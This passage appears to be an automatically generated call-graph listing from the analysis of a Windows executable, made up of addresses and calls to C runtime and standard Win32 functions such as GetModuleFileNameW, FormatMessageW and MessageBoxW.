7ff7fd739463 MultiByteToWideChar 17486->17487 17487->17485 17489 7ff7fd7333ce memcpy_s 17488->17489 17490 7ff7fd7335c7 17489->17490 17494 7ff7fd731c80 49 API calls 17489->17494 17495 7ff7fd7335e2 17489->17495 17500 7ff7fd7335c9 17489->17500 17501 7ff7fd732a50 54 API calls 17489->17501 17505 7ff7fd7335d0 17489->17505 18473 7ff7fd734550 17489->18473 18479 7ff7fd737e10 17489->18479 18490 7ff7fd731600 17489->18490 18538 7ff7fd737110 17489->18538 18542 7ff7fd734180 17489->18542 18586 7ff7fd734440 17489->18586 17491 7ff7fd73c5c0 _log10_special 8 API calls 17490->17491 17492 7ff7fd733664 17491->17492 17492->17237 17507 7ff7fd7390c0 LocalFree 17492->17507 17494->17489 17497 7ff7fd732710 54 API calls 17495->17497 17497->17490 17502 7ff7fd732710 54 API calls 17500->17502 17501->17489 17502->17490 17506 7ff7fd732710 54 API calls 17505->17506 17506->17490 17509 7ff7fd731ca5 17508->17509 17510 7ff7fd7449f4 49 API calls 17509->17510 17511 7ff7fd731cc8 17510->17511 17511->17169 17513 7ff7fd739400 2 API calls 17512->17513 17514 7ff7fd738ba4 17513->17514 17515 7ff7fd7482a8 38 API calls 17514->17515 17516 7ff7fd738bb6 __std_exception_destroy 17515->17516 17516->17182 17518 7ff7fd7345bc 17517->17518 17519 7ff7fd739400 2 API calls 17518->17519 17520 7ff7fd7345e4 17519->17520 17521 7ff7fd739400 2 API calls 17520->17521 17522 7ff7fd7345f7 17521->17522 18759 7ff7fd746004 17522->18759 17525 7ff7fd73c5c0 _log10_special 8 API calls 17526 7ff7fd73392b 17525->17526 17526->17171 17527 7ff7fd737f80 17526->17527 17528 7ff7fd737fa4 17527->17528 17529 7ff7fd740744 73 API calls 17528->17529 17534 7ff7fd73807b __std_exception_destroy 17528->17534 17530 7ff7fd737fc0 17529->17530 17530->17534 19150 7ff7fd747938 17530->19150 17532 7ff7fd740744 73 API calls 17535 7ff7fd737fd5 17532->17535 17533 7ff7fd74040c _fread_nolock 53 API calls 17533->17535 17534->17176 17535->17532 17535->17533 17535->17534 17537 7ff7fd7400ec 17536->17537 19165 7ff7fd73fe98 17537->19165 17539 7ff7fd740105 17539->17171 17541 7ff7fd73c8c0 17540->17541 17542 7ff7fd732734 GetCurrentProcessId 17541->17542 17543 7ff7fd731c80 49 API calls 17542->17543 17544 7ff7fd732787 17543->17544 17545 7ff7fd7449f4 49 API calls 17544->17545 17546 7ff7fd7327cf 17545->17546 17547 7ff7fd732620 12 API calls 17546->17547 17548 7ff7fd7327f1 17547->17548 17549 7ff7fd73c5c0 _log10_special 8 API calls 17548->17549 17550 7ff7fd732801 17549->17550 17550->17237 17552 7ff7fd731c80 49 API calls 17551->17552 17553 7ff7fd7344ed 17552->17553 17553->17214 17555 7ff7fd731c80 49 API calls 17554->17555 17556 7ff7fd734650 17555->17556 17556->17232 17558 7ff7fd736dc5 17557->17558 17559 7ff7fd733e6c 17558->17559 17560 7ff7fd744f78 _get_daylight 11 API calls 17558->17560 17563 7ff7fd737330 17559->17563 17561 7ff7fd736dd2 17560->17561 17562 7ff7fd732910 54 API calls 17561->17562 17562->17559 19176 7ff7fd731470 17563->19176 19282 7ff7fd736350 17631->19282 17651 7ff7fd7454dc EnterCriticalSection 17644->17651 17653 7ff7fd7336bc GetModuleFileNameW 17652->17653 17653->17344 17653->17345 17655 7ff7fd739342 17654->17655 17656 7ff7fd73932f FindClose 17654->17656 17657 7ff7fd73c5c0 _log10_special 8 API calls 17655->17657 17656->17655 17658 7ff7fd73371a 17657->17658 17658->17350 17658->17351 17660 7ff7fd73c8c0 17659->17660 17661 7ff7fd732c70 GetCurrentProcessId 17660->17661 17690 7ff7fd7326b0 17661->17690 17663 7ff7fd732cb9 17694 7ff7fd744c48 17663->17694 17666 7ff7fd7326b0 48 API calls 17667 7ff7fd732d34 FormatMessageW 17666->17667 17669 7ff7fd732d6d 17667->17669 17670 7ff7fd732d7f MessageBoxW 17667->17670 17671 7ff7fd7326b0 48 API calls 17669->17671 17672 7ff7fd73c5c0 _log10_special 8 API calls 17670->17672 17671->17670 17673 7ff7fd732daf 17672->17673 17673->17348 17675 7ff7fd733730 17674->17675 17676 7ff7fd7393b0 GetFinalPathNameByHandleW CloseHandle 17674->17676 17675->17358 17675->17359 17676->17675 17678 7ff7fd732834 17677->17678 17679 7ff7fd7326b0 48 API calls 17678->17679 17680 7ff7fd732887 17679->17680 17681 7ff7fd744c48 48 API calls 17680->17681 17682 7ff7fd7328d0 MessageBoxW 17681->17682 17683 7ff7fd73c5c0 _log10_special 8 API calls 17682->17683 17684 7ff7fd732900 17683->17684 17684->17348 17686 7ff7fd7394da WideCharToMultiByte 17685->17686 17689 7ff7fd739505 17685->17689 17688 7ff7fd73951b __std_exception_destroy 17686->17688 17686->17689 17687 7ff7fd739522 WideCharToMultiByte 17687->17688 17688->17355 17689->17687 17689->17688 17691 7ff7fd7326d5 17690->17691 17692 7ff7fd744c48 48 API calls 17691->17692 17693 7ff7fd7326f8 17692->17693 17693->17663 17697 7ff7fd744ca2 17694->17697 17695 7ff7fd744cc7 17696 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17695->17696 17700 7ff7fd744cf1 17696->17700 17697->17695 17698 7ff7fd744d03 17697->17698 17712 7ff7fd743000 17698->17712 17702 7ff7fd73c5c0 _log10_special 8 API calls 17700->17702 17701 7ff7fd744de4 17703 7ff7fd74a9b8 __free_lconv_num 11 API calls 17701->17703 17705 7ff7fd732d04 17702->17705 17703->17700 17705->17666 17706 7ff7fd744e0a 17706->17701 17708 7ff7fd744e14 17706->17708 17707 7ff7fd744db9 17709 7ff7fd74a9b8 __free_lconv_num 11 API calls 17707->17709 17711 7ff7fd74a9b8 __free_lconv_num 11 API calls 17708->17711 17709->17700 17710 7ff7fd744db0 17710->17701 17710->17707 17711->17700 17713 7ff7fd74303e 17712->17713 17714 7ff7fd74302e 17712->17714 17715 7ff7fd743047 17713->17715 17720 7ff7fd743075 17713->17720 17716 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17714->17716 17717 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17715->17717 17718 7ff7fd74306d 17716->17718 17717->17718 17718->17701 17718->17706 17718->17707 17718->17710 17720->17714 17720->17718 17723 7ff7fd743a14 17720->17723 17756 7ff7fd743460 17720->17756 17793 7ff7fd742bf0 17720->17793 17724 7ff7fd743ac7 17723->17724 17725 7ff7fd743a56 17723->17725 17728 7ff7fd743acc 17724->17728 17729 7ff7fd743b20 17724->17729 17726 7ff7fd743a5c 17725->17726 17727 7ff7fd743af1 17725->17727 17730 7ff7fd743a61 17726->17730 17731 7ff7fd743a90 17726->17731 17816 7ff7fd741dc4 17727->17816 17732 7ff7fd743ace 17728->17732 17733 7ff7fd743b01 17728->17733 17734 7ff7fd743b2a 17729->17734 17735 7ff7fd743b37 17729->17735 17740 7ff7fd743b2f 17729->17740 17730->17735 17737 7ff7fd743a67 17730->17737 17731->17737 17731->17740 17738 7ff7fd743a70 17732->17738 17743 7ff7fd743add 17732->17743 17823 7ff7fd7419b4 17733->17823 17734->17727 17734->17740 17830 7ff7fd74471c 17735->17830 17737->17738 17744 7ff7fd743aa2 17737->17744 17753 7ff7fd743a8b 17737->17753 17754 7ff7fd743b60 17738->17754 17796 7ff7fd7441c8 17738->17796 17740->17754 17834 7ff7fd7421d4 17740->17834 17743->17727 17746 7ff7fd743ae2 17743->17746 17744->17754 17806 7ff7fd744504 17744->17806 17746->17754 17812 7ff7fd7445c8 17746->17812 17748 7ff7fd73c5c0 _log10_special 8 API calls 17750 7ff7fd743e5a 17748->17750 17750->17720 17753->17754 17755 7ff7fd743d4c 17753->17755 17841 7ff7fd744830 17753->17841 17754->17748 17755->17754 17847 7ff7fd74ea78 17755->17847 17757 7ff7fd74346e 17756->17757 17758 7ff7fd743484 17756->17758 17759 7ff7fd7434c4 17757->17759 17760 7ff7fd743ac7 17757->17760 17761 7ff7fd743a56 17757->17761 17758->17759 17762 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17758->17762 17759->17720 17765 7ff7fd743acc 17760->17765 17766 7ff7fd743b20 17760->17766 17763 7ff7fd743a5c 17761->17763 17764 7ff7fd743af1 17761->17764 17762->17759 17767 7ff7fd743a61 17763->17767 17768 7ff7fd743a90 17763->17768 17773 7ff7fd741dc4 38 API calls 17764->17773 17769 7ff7fd743ace 17765->17769 17770 7ff7fd743b01 17765->17770 17771 7ff7fd743b2a 17766->17771 17772 7ff7fd743b37 17766->17772 17777 7ff7fd743b2f 17766->17777 17767->17772 17774 7ff7fd743a67 17767->17774 17768->17774 17768->17777 17775 7ff7fd743a70 17769->17775 17782 7ff7fd743add 17769->17782 17779 7ff7fd7419b4 38 API calls 17770->17779 17771->17764 17771->17777 17778 7ff7fd74471c 45 API calls 17772->17778 17788 7ff7fd743a8b 17773->17788 17774->17775 17780 7ff7fd743aa2 17774->17780 17774->17788 17776 7ff7fd7441c8 47 API calls 17775->17776 17791 7ff7fd743b60 17775->17791 17776->17788 17781 7ff7fd7421d4 38 API calls 17777->17781 17777->17791 17778->17788 17779->17788 17783 7ff7fd744504 46 API calls 17780->17783 17780->17791 17781->17788 17782->17764 17784 7ff7fd743ae2 17782->17784 17783->17788 17786 7ff7fd7445c8 37 API calls 17784->17786 17784->17791 17785 7ff7fd73c5c0 _log10_special 8 API calls 17787 7ff7fd743e5a 17785->17787 17786->17788 17787->17720 17789 7ff7fd744830 45 API calls 17788->17789 17788->17791 17792 7ff7fd743d4c 17788->17792 17789->17792 17790 7ff7fd74ea78 46 API calls 17790->17792 17791->17785 17792->17790 17792->17791 18013 7ff7fd741038 17793->18013 17797 7ff7fd7441ee 17796->17797 17859 7ff7fd740bf0 17797->17859 17802 7ff7fd744830 45 API calls 17803 7ff7fd744333 17802->17803 17804 7ff7fd744830 45 API calls 17803->17804 17805 7ff7fd7443c1 17803->17805 17804->17805 17805->17753 17808 7ff7fd744539 17806->17808 17807 7ff7fd744557 17810 7ff7fd74ea78 46 API calls 17807->17810 17808->17807 17809 7ff7fd744830 45 API calls 17808->17809 17811 7ff7fd74457e 17808->17811 17809->17807 17810->17811 17811->17753 17813 7ff7fd7445e9 17812->17813 17814 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17813->17814 17815 7ff7fd74461a 17813->17815 17814->17815 17815->17753 17817 7ff7fd741df7 17816->17817 17818 7ff7fd741e26 17817->17818 17820 7ff7fd741ee3 17817->17820 17822 7ff7fd741e63 17818->17822 17986 7ff7fd740c98 17818->17986 17821 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17820->17821 17821->17822 17822->17753 17825 7ff7fd7419e7 17823->17825 17824 7ff7fd741a16 17826 7ff7fd740c98 12 API calls 17824->17826 17829 7ff7fd741a53 17824->17829 17825->17824 17827 7ff7fd741ad3 17825->17827 17826->17829 17828 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17827->17828 17828->17829 17829->17753 17831 7ff7fd74475f 17830->17831 17833 7ff7fd744763 __crtLCMapStringW 17831->17833 17994 7ff7fd7447b8 17831->17994 17833->17753 17835 7ff7fd742207 17834->17835 17836 7ff7fd742236 17835->17836 17838 7ff7fd7422f3 17835->17838 17837 7ff7fd740c98 12 API calls 17836->17837 17840 7ff7fd742273 17836->17840 17837->17840 17839 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17838->17839 17839->17840 17840->17753 17842 7ff7fd744847 17841->17842 17998 7ff7fd74da28 17842->17998 17849 7ff7fd74eaa9 17847->17849 17854 7ff7fd74eab7 17847->17854 17848 7ff7fd74ead7 17850 7ff7fd74eae8 17848->17850 17851 7ff7fd74eb0f 17848->17851 17849->17848 17852 7ff7fd744830 45 API calls 17849->17852 17849->17854 18006 7ff7fd750110 17850->18006 17851->17854 17855 7ff7fd74eb9a 17851->17855 17857 7ff7fd74eb39 17851->17857 17852->17848 17854->17755 17856 7ff7fd74f910 _fread_nolock MultiByteToWideChar 17855->17856 17856->17854 17857->17854 17858 7ff7fd74f910 _fread_nolock MultiByteToWideChar 17857->17858 17858->17854 17860 7ff7fd740c27 17859->17860 17866 7ff7fd740c16 17859->17866 17861 7ff7fd74d66c _fread_nolock 12 API calls 17860->17861 17860->17866 17863 7ff7fd740c54 17861->17863 17862 7ff7fd740c68 17865 7ff7fd74a9b8 __free_lconv_num 11 API calls 17862->17865 17863->17862 17864 7ff7fd74a9b8 __free_lconv_num 11 API calls 17863->17864 17864->17862 17865->17866 17867 7ff7fd74e5e0 17866->17867 17868 7ff7fd74e5fd 17867->17868 17869 7ff7fd74e630 17867->17869 17870 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17868->17870 17869->17868 17871 7ff7fd74e662 17869->17871 17879 7ff7fd744311 17870->17879 17876 7ff7fd74e775 17871->17876 17884 7ff7fd74e6aa 17871->17884 17872 7ff7fd74e867 17913 7ff7fd74dacc 17872->17913 17874 7ff7fd74e82d 17906 7ff7fd74de64 17874->17906 17875 7ff7fd74e7fc 17899 7ff7fd74e144 17875->17899 17876->17872 17876->17874 17876->17875 17878 7ff7fd74e7bf 17876->17878 17881 7ff7fd74e7b5 17876->17881 17889 7ff7fd74e374 17878->17889 17879->17802 17879->17803 17881->17874 17883 7ff7fd74e7ba 17881->17883 17883->17875 17883->17878 17884->17879 17885 7ff7fd74a514 __std_exception_copy 37 API calls 17884->17885 17886 7ff7fd74e762 17885->17886 17886->17879 17887 7ff7fd74a970 _isindst 17 API calls 17886->17887 17888 7ff7fd74e8c4 17887->17888 17922 7ff7fd75411c 17889->17922 17893 7ff7fd74e41c 17894 7ff7fd74e471 17893->17894 17895 7ff7fd74e43c 17893->17895 17898 7ff7fd74e420 17893->17898 17975 7ff7fd74df60 17894->17975 17971 7ff7fd74e21c 17895->17971 17898->17879 17900 7ff7fd75411c 38 API calls 17899->17900 17901 7ff7fd74e18e 17900->17901 17902 7ff7fd753b64 37 API calls 17901->17902 17903 7ff7fd74e1de 17902->17903 17904 7ff7fd74e1e2 17903->17904 17905 7ff7fd74e21c 45 API calls 17903->17905 17904->17879 17905->17904 17907 7ff7fd75411c 38 API calls 17906->17907 17908 7ff7fd74deaf 17907->17908 17909 7ff7fd753b64 37 API calls 17908->17909 17910 7ff7fd74df07 17909->17910 17911 7ff7fd74df0b 17910->17911 17912 7ff7fd74df60 45 API calls 17910->17912 17911->17879 17912->17911 17914 7ff7fd74db44 17913->17914 17915 7ff7fd74db11 17913->17915 17917 7ff7fd74db5c 17914->17917 17919 7ff7fd74dbdd 17914->17919 17916 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17915->17916 17921 7ff7fd74db3d memcpy_s 17916->17921 17918 7ff7fd74de64 46 API calls 17917->17918 17918->17921 17920 7ff7fd744830 45 API calls 17919->17920 17919->17921 17920->17921 17921->17879 17923 7ff7fd75416f fegetenv 17922->17923 17924 7ff7fd757e9c 37 API calls 17923->17924 17928 7ff7fd7541c2 17924->17928 17925 7ff7fd7541ef 17930 7ff7fd74a514 __std_exception_copy 37 API calls 17925->17930 17926 7ff7fd7542b2 17927 7ff7fd757e9c 37 API calls 17926->17927 17929 7ff7fd7542dc 17927->17929 17928->17926 17931 7ff7fd75428c 17928->17931 17932 7ff7fd7541dd 17928->17932 17933 7ff7fd757e9c 37 API calls 17929->17933 17934 7ff7fd75426d 17930->17934 17937 7ff7fd74a514 __std_exception_copy 37 API calls 17931->17937 17932->17925 17932->17926 17935 7ff7fd7542ed 17933->17935 17936 7ff7fd755394 17934->17936 17941 7ff7fd754275 17934->17941 17938 7ff7fd758090 20 API calls 17935->17938 17939 7ff7fd74a970 _isindst 17 API calls 17936->17939 17937->17934 17949 7ff7fd754356 memcpy_s 17938->17949 17940 7ff7fd7553a9 17939->17940 17942 7ff7fd73c5c0 _log10_special 8 API calls 17941->17942 17943 7ff7fd74e3c1 17942->17943 17967 7ff7fd753b64 17943->17967 17944 7ff7fd7546ff memcpy_s 17945 7ff7fd754a3f 17946 7ff7fd753c80 37 API calls 17945->17946 17955 7ff7fd755157 17946->17955 17947 7ff7fd7549eb 17947->17945 17951 7ff7fd7553ac memcpy_s 37 API calls 17947->17951 17948 7ff7fd754397 memcpy_s 17954 7ff7fd754cdb memcpy_s 17948->17954 17959 7ff7fd7547f3 memcpy_s 17948->17959 17949->17944 17949->17948 17952 7ff7fd744f78 _get_daylight 11 API calls 17949->17952 17950 7ff7fd7551b2 17957 7ff7fd755338 17950->17957 17963 7ff7fd753c80 37 API calls 17950->17963 17966 7ff7fd7553ac memcpy_s 37 API calls 17950->17966 17951->17945 17953 7ff7fd7547d0 17952->17953 17956 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 17953->17956 17954->17945 17954->17947 17961 7ff7fd744f78 11 API calls _get_daylight 17954->17961 17964 7ff7fd74a950 37 API calls _invalid_parameter_noinfo 17954->17964 17955->17950 17958 7ff7fd7553ac memcpy_s 37 API calls 17955->17958 17956->17948 17960 7ff7fd757e9c 37 API calls 17957->17960 17958->17950 17959->17947 17962 7ff7fd744f78 11 API calls _get_daylight 17959->17962 17965 7ff7fd74a950 37 API calls _invalid_parameter_noinfo 17959->17965 17960->17941 17961->17954 17962->17959 17963->17950 17964->17954 17965->17959 17966->17950 17968 7ff7fd753b83 17967->17968 17969 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17968->17969 17970 7ff7fd753bae memcpy_s 17968->17970 17969->17970 17970->17893 17972 7ff7fd74e248 memcpy_s 17971->17972 17973 7ff7fd744830 45 API calls 17972->17973 17974 7ff7fd74e302 memcpy_s 17972->17974 17973->17974 17974->17898 17976 7ff7fd74df9b 17975->17976 17979 7ff7fd74dfe8 memcpy_s 17975->17979 17977 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17976->17977 17978 7ff7fd74dfc7 17977->17978 17978->17898 17980 7ff7fd74e053 17979->17980 17982 7ff7fd744830 45 API calls 17979->17982 17981 7ff7fd74a514 __std_exception_copy 37 API calls 17980->17981 17985 7ff7fd74e095 memcpy_s 17981->17985 17982->17980 17983 7ff7fd74a970 _isindst 17 API calls 17984 7ff7fd74e140 17983->17984 17985->17983 17987 7ff7fd740ccf 17986->17987 17993 7ff7fd740cbe 17986->17993 17988 7ff7fd74d66c _fread_nolock 12 API calls 17987->17988 17987->17993 17989 7ff7fd740d00 17988->17989 17990 7ff7fd740d14 17989->17990 17991 7ff7fd74a9b8 __free_lconv_num 11 API calls 17989->17991 17992 7ff7fd74a9b8 __free_lconv_num 11 API calls 17990->17992 17991->17990 17992->17993 17993->17822 17995 7ff7fd7447de 17994->17995 17996 7ff7fd7447d6 17994->17996 17995->17833 17997 7ff7fd744830 45 API calls 17996->17997 17997->17995 17999 7ff7fd74486f 17998->17999 18000 7ff7fd74da41 17998->18000 18002 7ff7fd74da94 17999->18002 18000->17999 18001 7ff7fd753374 45 API calls 18000->18001 18001->17999 18003 7ff7fd74487f 18002->18003 18004 7ff7fd74daad 18002->18004 18003->17755 18004->18003 18005 7ff7fd7526c0 45 API calls 18004->18005 18005->18003 18009 7ff7fd756df8 18006->18009 18012 7ff7fd756e5c 18009->18012 18010 7ff7fd73c5c0 _log10_special 8 API calls 18011 7ff7fd75012d 18010->18011 18011->17854 18012->18010 18014 7ff7fd74106d 18013->18014 18015 7ff7fd74107f 18013->18015 18016 7ff7fd744f78 _get_daylight 11 API calls 18014->18016 18017 7ff7fd74108d 18015->18017 18021 7ff7fd7410c9 18015->18021 18018 7ff7fd741072 18016->18018 18019 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 18017->18019 18020 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18018->18020 18025 7ff7fd74107d 18019->18025 18020->18025 18022 7ff7fd741445 18021->18022 18024 7ff7fd744f78 _get_daylight 11 API calls 18021->18024 18023 7ff7fd744f78 _get_daylight 11 API calls 18022->18023 18022->18025 18026 7ff7fd7416d9 18023->18026 18027 7ff7fd74143a 18024->18027 18025->17720 18028 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18026->18028 18029 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18027->18029 18028->18025 18029->18022 18031 7ff7fd740774 18030->18031 18058 7ff7fd7404d4 18031->18058 18033 7ff7fd74078d 18033->17373 18070 7ff7fd74042c 18034->18070 18038 7ff7fd73c8c0 18037->18038 18039 7ff7fd732930 GetCurrentProcessId 18038->18039 18040 7ff7fd731c80 49 API calls 18039->18040 18041 7ff7fd732979 18040->18041 18084 7ff7fd7449f4 18041->18084 18046 7ff7fd731c80 49 API calls 18047 7ff7fd7329ff 18046->18047 18114 7ff7fd732620 18047->18114 18050 7ff7fd73c5c0 _log10_special 8 API calls 18051 7ff7fd732a31 18050->18051 18051->17412 18053 7ff7fd740189 18052->18053 18054 7ff7fd731b89 18052->18054 18055 7ff7fd744f78 _get_daylight 11 API calls 18053->18055 18054->17411 18054->17412 18056 7ff7fd74018e 18055->18056 18057 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18056->18057 18057->18054 18059 7ff7fd74053e 18058->18059 18060 7ff7fd7404fe 18058->18060 18059->18060 18062 7ff7fd74054a 18059->18062 18061 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 18060->18061 18068 7ff7fd740525 18061->18068 18069 7ff7fd7454dc EnterCriticalSection 18062->18069 18068->18033 18071 7ff7fd740456 18070->18071 18082 7ff7fd731a20 18070->18082 18072 7ff7fd7404a2 18071->18072 18073 7ff7fd740465 memcpy_s 18071->18073 18071->18082 18083 7ff7fd7454dc EnterCriticalSection 18072->18083 18075 7ff7fd744f78 _get_daylight 11 API calls 18073->18075 18077 7ff7fd74047a 18075->18077 18080 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18077->18080 18080->18082 18082->17380 18082->17381 18085 7ff7fd744a4e 18084->18085 18086 7ff7fd744a73 18085->18086 18088 7ff7fd744aaf 18085->18088 18087 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 18086->18087 18090 7ff7fd744a9d 18087->18090 18123 7ff7fd742c80 18088->18123 18092 7ff7fd73c5c0 _log10_special 8 API calls 18090->18092 18094 7ff7fd7329c3 18092->18094 18093 7ff7fd74a9b8 __free_lconv_num 11 API calls 18093->18090 18102 7ff7fd7451d0 18094->18102 18095 7ff7fd744b8c 18095->18093 18096 7ff7fd744b61 18099 7ff7fd74a9b8 __free_lconv_num 11 API calls 18096->18099 18097 7ff7fd744bb0 18097->18095 18098 7ff7fd744bba 18097->18098 18101 7ff7fd74a9b8 __free_lconv_num 11 API calls 18098->18101 18099->18090 18100 7ff7fd744b58 18100->18095 18100->18096 18101->18090 18103 7ff7fd74b338 _get_daylight 11 API calls 18102->18103 18104 7ff7fd7451e7 18103->18104 18105 7ff7fd7329e5 18104->18105 18106 7ff7fd74ec08 _get_daylight 11 API calls 18104->18106 18109 7ff7fd745227 18104->18109 18105->18046 18107 7ff7fd74521c 18106->18107 18108 7ff7fd74a9b8 __free_lconv_num 11 API calls 18107->18108 18108->18109 18109->18105 18258 7ff7fd74ec90 18109->18258 18112 7ff7fd74a970 _isindst 17 API calls 18113 7ff7fd74526c 18112->18113 18115 7ff7fd73262f 18114->18115 18116 7ff7fd739400 2 API calls 18115->18116 18117 7ff7fd732660 18116->18117 18118 7ff7fd73266f MessageBoxW 18117->18118 18119 7ff7fd732683 MessageBoxA 18117->18119 18120 7ff7fd732690 18118->18120 18119->18120 18121 7ff7fd73c5c0 _log10_special 8 API calls 18120->18121 18122 7ff7fd7326a0 18121->18122 18122->18050 18124 7ff7fd742cbe 18123->18124 18125 7ff7fd742cae 18123->18125 18126 7ff7fd742cc7 18124->18126 18133 7ff7fd742cf5 18124->18133 18129 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 18125->18129 18127 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 18126->18127 18128 7ff7fd742ced 18127->18128 18128->18095 18128->18096 18128->18097 18128->18100 18129->18128 18130 7ff7fd744830 45 API calls 18130->18133 18132 7ff7fd742fa4 18135 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 18132->18135 18133->18125 18133->18128 18133->18130 18133->18132 18137 7ff7fd743610 18133->18137 18163 7ff7fd7432d8 18133->18163 18193 7ff7fd742b60 18133->18193 18135->18125 18138 7ff7fd743652 18137->18138 18139 7ff7fd7436c5 18137->18139 18140 7ff7fd743658 18138->18140 18141 7ff7fd7436ef 18138->18141 18142 7ff7fd7436ca 18139->18142 18143 7ff7fd74371f 18139->18143 18147 7ff7fd74365d 18140->18147 18151 7ff7fd74372e 18140->18151 18210 7ff7fd741bc0 18141->18210 18144 7ff7fd7436cc 18142->18144 18145 7ff7fd7436ff 18142->18145 18143->18141 18143->18151 18162 7ff7fd743688 18143->18162 18150 7ff7fd7436db 18144->18150 18157 7ff7fd74366d 18144->18157 18217 7ff7fd7417b0 18145->18217 18152 7ff7fd7436a0 18147->18152 18147->18157 18147->18162 18150->18141 18154 7ff7fd7436e0 18150->18154 18160 7ff7fd74375d 18151->18160 18224 7ff7fd741fd0 18151->18224 18152->18160 18206 7ff7fd744430 18152->18206 18158 7ff7fd7445c8 37 API calls 18154->18158 18154->18160 18156 7ff7fd73c5c0 _log10_special 8 API calls 18159 7ff7fd7439f3 18156->18159 18157->18160 18196 7ff7fd743f74 18157->18196 18158->18162 18159->18133 18160->18156 18162->18160 18231 7ff7fd74e8c8 18162->18231 18164 7ff7fd7432f9 18163->18164 18165 7ff7fd7432e3 18163->18165 18166 7ff7fd743337 18164->18166 18169 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 18164->18169 18165->18166 18167 7ff7fd743652 18165->18167 18168 7ff7fd7436c5 18165->18168 18166->18133 18170 7ff7fd743658 18167->18170 18171 7ff7fd7436ef 18167->18171 18172 7ff7fd7436ca 18168->18172 18173 7ff7fd74371f 18168->18173 18169->18166 18176 7ff7fd74372e 18170->18176 18180 7ff7fd74365d 18170->18180 18177 7ff7fd741bc0 38 API calls 18171->18177 18174 7ff7fd7436cc 18172->18174 18175 7ff7fd7436ff 18172->18175 18173->18171 18173->18176 18191 7ff7fd743688 18173->18191 18181 7ff7fd7436db 18174->18181 18183 7ff7fd74366d 18174->18183 18178 7ff7fd7417b0 38 API calls 18175->18178 18184 7ff7fd741fd0 38 API calls 18176->18184 18192 7ff7fd74375d 18176->18192 18177->18191 18178->18191 18179 7ff7fd743f74 47 API calls 18179->18191 18182 7ff7fd7436a0 18180->18182 18180->18183 18180->18191 18181->18171 18185 7ff7fd7436e0 18181->18185 18186 7ff7fd744430 47 API calls 18182->18186 18182->18192 18183->18179 18183->18192 18184->18191 18188 7ff7fd7445c8 37 API calls 18185->18188 18185->18192 18186->18191 18187 7ff7fd73c5c0 _log10_special 8 API calls 18189 7ff7fd7439f3 18187->18189 18188->18191 18189->18133 18190 7ff7fd74e8c8 47 API calls 18190->18191 18191->18190 18191->18192 18192->18187 18241 7ff7fd740d84 18193->18241 18197 7ff7fd743f96 18196->18197 18198 7ff7fd740bf0 12 API calls 18197->18198 18199 7ff7fd743fde 18198->18199 18200 7ff7fd74e5e0 46 API calls 18199->18200 18201 7ff7fd7440b1 18200->18201 18202 7ff7fd744830 45 API calls 18201->18202 18204 7ff7fd7440d3 18201->18204 18202->18204 18203 7ff7fd744830 45 API calls 18205 7ff7fd74415c 18203->18205 18204->18203 18204->18204 18204->18205 18205->18162 18207 7ff7fd744448 18206->18207 18209 7ff7fd7444b0 18206->18209 18208 7ff7fd74e8c8 47 API calls 18207->18208 18207->18209 18208->18209 18209->18162 18211 7ff7fd741bf3 18210->18211 18212 7ff7fd741c22 18211->18212 18214 7ff7fd741cdf 18211->18214 18213 7ff7fd740bf0 12 API calls 18212->18213 18216 7ff7fd741c5f 18212->18216 18213->18216 18215 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 18214->18215 18215->18216 18216->18162 18218 7ff7fd7417e3 18217->18218 18219 7ff7fd741812 18218->18219 18221 7ff7fd7418cf 18218->18221 18220 7ff7fd740bf0 12 API calls 18219->18220 18223 7ff7fd74184f 18219->18223 18220->18223 18222 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 18221->18222 18222->18223 18223->18162 18225 7ff7fd742003 18224->18225 18226 7ff7fd742032 18225->18226 18229 7ff7fd7420ef 18225->18229 18227 7ff7fd74206f 18226->18227 18228 7ff7fd740bf0 12 API calls 18226->18228 18227->18162 18228->18227 18230 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 18229->18230 18230->18227 18233 7ff7fd74e8f0 18231->18233 18232 7ff7fd74e935 18236 7ff7fd74e91e memcpy_s 18232->18236 18237 7ff7fd74e8f5 memcpy_s 18232->18237 18238 7ff7fd750858 WideCharToMultiByte 18232->18238 18233->18232 18234 7ff7fd744830 45 API calls 18233->18234 18233->18236 18233->18237 18234->18232 18235 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 18235->18237 18236->18235 18236->18237 18237->18162 18239 7ff7fd74ea11 18238->18239 18239->18237 18240 7ff7fd74ea26 GetLastError 18239->18240 18240->18236 18240->18237 18242 7ff7fd740db1 18241->18242 18243 7ff7fd740dc3 18241->18243 18245 7ff7fd744f78 _get_daylight 11 API calls 18242->18245 18244 7ff7fd740e0d 18243->18244 18246 7ff7fd740dd0 18243->18246 18250 7ff7fd744f78 _get_daylight 11 API calls 18244->18250 18257 7ff7fd740eb6 18244->18257 18247 7ff7fd740db6 18245->18247 18248 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 18246->18248 18249 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18247->18249 18254 7ff7fd740dc1 18248->18254 18249->18254 18252 7ff7fd740eab 18250->18252 18251 7ff7fd744f78 